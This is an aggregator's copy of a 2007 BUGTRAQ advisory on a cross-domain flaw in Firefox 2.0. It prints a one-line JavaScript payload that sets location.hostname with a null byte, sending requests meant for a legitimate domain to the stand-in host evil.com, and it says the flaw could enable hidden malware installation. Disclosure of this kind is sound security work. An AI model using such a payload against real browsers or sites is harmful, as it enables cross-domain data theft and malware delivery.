Lucene search

K
securityvulnsBUGTRAQSECURITYVULNS:VULN:7238
HistoryFeb 27, 2007 - 12:00 a.m.

Mozilla Firefox cross domain access

2007-02-2700:00:00
BUGTRAQ
vulners.com
16

By using
location.hostname='evil.com\x00foo.example.com'
in javascript it's possible to make request for foo.example.com domain to be sent to evil.com. It makes it possible cross-domain access. Vulnerability can be used for hidden malware installation.

CPENameOperatorVersion
firefoxeq2.0